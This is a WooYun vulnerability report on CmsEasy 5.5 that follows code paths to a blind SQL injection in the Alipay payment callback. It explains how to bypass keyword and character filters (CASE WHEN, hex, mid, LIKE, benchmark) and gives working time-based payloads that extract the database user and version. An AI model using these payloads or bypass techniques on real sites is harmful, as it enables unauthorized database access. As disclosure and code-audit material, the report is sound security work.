当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-71091

漏洞标题: CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入

相关厂商: cmseasy

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-08-05 15:49

公开时间: 2014-11-03 15:56

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 安全意识不足 php源码审核 php源码分析 安全意识不足

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-05: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商已经确认,细节仅向厂商公开
2014-08-08: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-29: 细节向核心白帽子及相关领域专家公开
2014-10-09: 细节向普通白帽子公开
2014-10-19: 细节向实习白帽子公开
2014-11-03: 细节向公众公开

简要描述:

CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入

详细说明:

CmsEasy最新版5.5_UTF-8_20140802,前面被雨神饶了三次

http://**.**.**.**/bugs/wooyun-2014-053198

http://**.**.**.**/bugs/wooyun-2014-053737

http://**.**.**.**/bugs/wooyun-2014-054220

最新的里面也修复了,但是修复不完整,这是第四次补丁了

继续绕过,进行SQL注入



来看看文件:archive_act.php

code 区域
function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();
if ($status) {
echo '<script type="text/javascript">alert("' . lang('已经付款,跳转到订单查询') . '")</script>';
front::refresh(url('archive/orders/oid/' . front::get('subject'), true));
} else {
echo '<script type="text/javascript">alert("' . lang('跳转到订单查询') . '")</script>';
front::refresh(url('archive/orders/oid/' . front::get('subject'), true));
}
}



这里调用了$status = $payobj->respond();

进入respond函数看看:

文件alipay.php:

code 区域
function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
if (!pay::check_money($order_sn,$_GET['total_fee'])) {
return false;
}
if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {
pay::changeorders($order_sn,$_GET);
return true;
}else {
return false;
}
}



这里直接带入$_POST的内容

过滤了=,<,>,'这些

然后当trade_status=WAIT_SELLER_SEND_GOODS时,进入了pay::changeorders($order_sn,$_GET);

继续跟进看看changeorders函数:

code 区域
public static function changeorders($id,$orderlog) {
//file_put_contents('logs.txt', $id);
$where=array();
$where['id']=$id;
$where['status']=4;
//$where['orderlog']=serialize($orderlog);
$update=orders::getInstance()->rec_update($where,$id);
if($update<1) {
exit('改变订单状态出错,请联系管理员');
}



这里$where['id']=$id=$order_sn=str_replace($_GET['subject'],'',$_GET['out_trade_no']);

最后进入了rec_update($where,$id)

code 区域
function rec_update($row,$where) {
$tbname=$this->name;
$sql=$this->sql_update($tbname,$row,$where);
//echo $sql."<br>";
return $this->query_unbuffered($sql);
}



进入sql_update($tbname,$row,$where)

code 区域
function sql_update($tbname,$row,$where) {
$sqlud='';
if (is_string($row))
$sqlud=$row.' ';
else
foreach ($row as $key=>$value) {
if (in_array($key,explode(',',$this->getcolslist()))) {
$value=$value;
/*if (preg_match('/^\[(.*)\]$/',$value,$match))
$sqlud .= "`$key`"."= '".$match[1]."',";
else*/if ($value === "")
$sqlud .= "`$key`= NULL, ";
else
$sqlud .= "`$key`"."= '".$value."',";
}
}
$sqlud=rtrim($sqlud);
$sqlud=rtrim($sqlud,',');
$this->condition($where);
$sql="UPDATE `".$tbname."` SET ".$sqlud." WHERE ".$where;
return $sql;
}



$where及我们可控的,传入的参数

但是到最后进入SQL时,只在condition函数中处理了,前面一直没处理

到condition这里时,都是存在问题的,只要condition里面通用没有处理,或者处理不完整时,就可以导致注入了,我们来看看$this->condition($where);。

code 区域
function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
//$value=str_replace("'","\'",$value);
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){
$condition = 'true';
}else{
//echo $condition." __ ";
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
}

if (get_class($this) == 'archive') {
if (!front::get('deletestate')) {
if ($condition)
$condition.=' and (state IS NULL or state<>\'-1\') ';
else
$condition='state IS NULL or state<>\'-1\' ';
}
else {
if ($condition)
$condition.=' and state=\'-1\' ';
else
$condition=' state=\'-1\' ';
}
}
}



从上面可以看到

当我们输入的内容为数字型时,就加上单引号,这里前面过滤了单引号,当数字型时无法利用

当我么的内容恒等于true是,返回true

当不是上述情况时,如内容为字符型,则进行过滤:

preg_match('/(if|select|ascii|from|sleep)/i', $condition)



通过上面的几次过滤,有特殊符号过滤,有关键字过滤

这里连if,ascii都过滤了,貌似是没办法了,其实不然,继续搞起!!!

漏洞证明:

我们先随便输入一个数字型字符串试试:

111.png



这里加单引号保护了,因前面过滤单引号,所以没办法利用了

再来输入一个字符串看看:

222.png



看到了,这里没有加单引号,有希望!

但是上面过滤了很多关键的东西,但是我们都可以绕过!

过滤了=号,我们用-号,或者用like

过滤了if,我们用case 1 when 2 then 3 else 4 end

过了assic,我们用hex

过了了substr,我们用mid

过滤了sleep,我们用benchmark

这些东西足够我们使用了

这里使用两种方法:

第一种方法,使用hex和-号:

code 区域
http://localhost/CmsEasy_5.5_UTF-8_20140802/index.php?case=archive&act=respond&code=alipay

out_trade_no=id in ( case when (hex(mid(user(),1,1))-71) then benchmark(10000000,md5(1)) else false end )&trade_status=WAIT_SELLER_SEND_GOODS



这里会延迟3秒,将benchmark修改为:benchmark(20000000,md5(1)),会延迟6秒

333.png



第二种方法,使用like搞定

code 区域
http://localhost/CmsEasy_5.5_UTF-8_20140802/index.php?case=archive&act=respond&code=alipay

out_trade_no=id in ( case when (mid(user(),1,1)) like char(114) then benchmark(20000000,md5(1)) else false end )&trade_status=WAIT_SELLER_SEND_GOODS



或者

code 区域
http://localhost/CmsEasy_5.5_UTF-8_20140802/index.php?case=archive&act=respond&code=alipay

out_trade_no=id in ( case when (mid(version(),1,1)) like 5 then benchmark(20000000,md5(1)) else false end )&trade_status=WAIT_SELLER_SEND_GOODS



都会延迟6秒返回

这样就达到盲注的目的了,over!

修复方案:

听雨牛的建议就行。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-05 23:06

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-08-05 15:50 | 浮萍 ( 普通白帽子 | Rank:1030 漏洞数:200 | 沉淀)
    1

    带我飞~~

  2. 2014-08-05 16:13 | Lonely ( 实习白帽子 | Rank:80 漏洞数:30 | 人生如梦,始终都游不过当局者迷的悲哀。)
    0

    不给活路啊。好歹歇一天啊 让人家怎么活 哎哟

  3. 2014-08-05 17:08 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    1

    其实CmsEasy是故意的:)

  4. 2014-09-26 07:15 | 1c3z ( 普通白帽子 | Rank:297 漏洞数:63 | @)!^)
    0

    带我飞!!!!

登录后才能发表评论,请先 登录